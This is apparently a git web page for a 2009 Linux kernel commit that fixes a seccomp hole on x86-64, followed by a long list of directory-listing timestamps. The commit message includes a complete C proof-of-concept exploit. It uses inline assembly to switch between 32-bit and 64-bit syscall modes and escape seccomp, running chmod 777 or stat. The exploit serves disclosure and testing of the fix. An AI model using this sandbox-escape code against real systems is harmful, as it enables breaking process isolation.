Roland McGrath
5b1017404a
x86-64: seccomp: fix 32/64 syscall hole
...
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com >
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org >
2009-03-02 15:41:30 -08:00
..
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2009-01-06 15:59:10 -08:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-12-16 15:53:23 +11:00
2008-08-04 12:02:00 +10:00
2009-01-14 19:56:50 -08:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2009-01-08 15:51:55 +01:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2009-03-02 15:41:30 -08:00
2008-08-04 12:02:00 +10:00
2008-08-27 05:16:38 -04:00
2008-08-04 12:02:00 +10:00
2008-12-21 14:21:16 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-12-21 14:21:15 +11:00
2008-10-08 15:27:14 -07:00
2008-12-21 14:21:16 +11:00
2008-08-04 12:02:00 +10:00
2008-12-03 21:03:54 +11:00
2008-12-31 16:52:21 +02:00
2008-08-04 12:02:00 +10:00
2008-12-16 14:39:33 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-11-06 09:22:37 +11:00
2008-12-25 13:38:54 +01:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-09-15 11:08:08 -07:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-12-21 14:21:16 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-10-13 11:48:24 -05:00
2008-11-20 10:52:28 -08:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-12-29 09:53:25 +11:00
2009-01-06 15:58:58 -08:00
2008-08-18 14:22:34 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 13:18:17 +10:00
2008-08-04 12:02:00 +10:00
2008-08-18 21:40:03 +02:00
2008-08-04 12:02:00 +10:00
2008-11-08 12:39:02 -06:00
2008-11-08 12:39:02 -06:00
2008-08-04 12:02:00 +10:00
2008-12-16 15:53:19 +11:00
2008-08-04 12:02:00 +10:00
2009-01-08 16:25:12 +11:00
2008-10-31 16:13:48 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 13:18:17 +10:00
2008-08-04 12:02:00 +10:00
2008-09-15 11:08:44 -07:00
2008-08-18 14:22:34 +10:00
2009-01-14 19:56:50 -08:00
2008-08-04 12:02:00 +10:00
2008-12-23 15:13:29 +11:00
2009-01-08 16:25:17 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-12-31 16:55:09 +02:00
2008-08-04 12:02:00 +10:00
2008-12-31 16:55:41 +02:00
2008-08-04 12:02:00 +10:00
2008-12-31 16:55:09 +02:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-11-19 16:04:28 +11:00
2008-11-05 22:08:28 +11:00
2008-08-04 12:02:00 +10:00
2008-09-24 16:26:45 -05:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-10-14 10:35:27 +11:00
2008-12-21 14:21:15 +11:00
2008-12-21 14:21:15 +11:00
2008-12-21 14:21:15 +11:00
2008-12-31 16:55:09 +02:00
2008-12-21 14:21:15 +11:00
2008-08-04 12:02:00 +10:00
2008-11-30 10:03:35 -08:00
2008-12-21 14:21:16 +11:00
2008-08-04 12:02:00 +10:00
2008-11-20 10:52:53 -08:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-12-21 02:54:32 -07:00
2008-12-21 02:54:26 -07:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-10-31 16:13:50 +11:00
2008-08-04 12:02:00 +10:00
2008-08-20 16:34:57 +10:00
2008-11-19 16:04:58 +11:00
2008-08-04 12:02:00 +10:00
2008-08-20 16:34:59 +10:00
2008-08-20 16:34:58 +10:00
2008-08-04 12:02:00 +10:00
2009-01-08 15:51:55 +01:00
2008-09-15 11:08:08 -07:00
2008-12-29 09:53:25 +11:00
2008-08-04 12:02:00 +10:00
2008-12-29 09:53:25 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-12-16 15:53:16 +11:00
2008-12-16 15:53:16 +11:00
2008-08-04 12:02:00 +10:00
2008-12-03 20:46:35 +11:00
2008-12-03 20:46:35 +11:00
2008-12-03 20:46:35 +11:00
2009-02-13 16:37:44 +11:00
2009-02-13 16:37:44 +11:00
2009-02-13 16:37:44 +11:00
2008-12-21 14:21:16 +11:00
2008-12-21 14:21:16 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-12-23 15:13:29 +11:00
2008-08-04 12:02:00 +10:00
2008-12-16 15:52:57 +11:00
2008-12-21 14:21:14 +11:00
2009-01-16 16:15:11 +11:00
2008-11-19 16:03:54 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-11-30 11:00:15 -08:00
2008-12-30 11:14:06 -06:00
2009-01-07 09:18:53 -06:00
2008-08-04 12:02:00 +10:00
2008-09-24 16:29:40 -05:00
2008-08-04 12:02:00 +10:00
2008-12-23 15:13:28 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2009-01-13 14:47:59 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2009-03-02 15:41:30 -08:00
2008-10-15 11:31:54 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-12-03 08:19:16 -06:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-09-23 13:26:52 +02:00
2008-10-22 22:55:20 -07:00
2008-11-19 16:05:06 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-11-19 16:04:28 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2009-01-08 16:25:12 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-09-06 19:30:15 +01:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2009-01-06 18:10:27 -08:00
2008-11-19 16:04:55 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2009-01-14 14:15:15 +01:00
2008-11-19 16:04:57 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-11-06 09:49:28 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-12-21 14:21:16 +11:00
2009-01-03 18:53:31 +01:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2009-01-13 14:47:59 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-11-06 09:49:22 +11:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00
2008-08-04 12:02:00 +10:00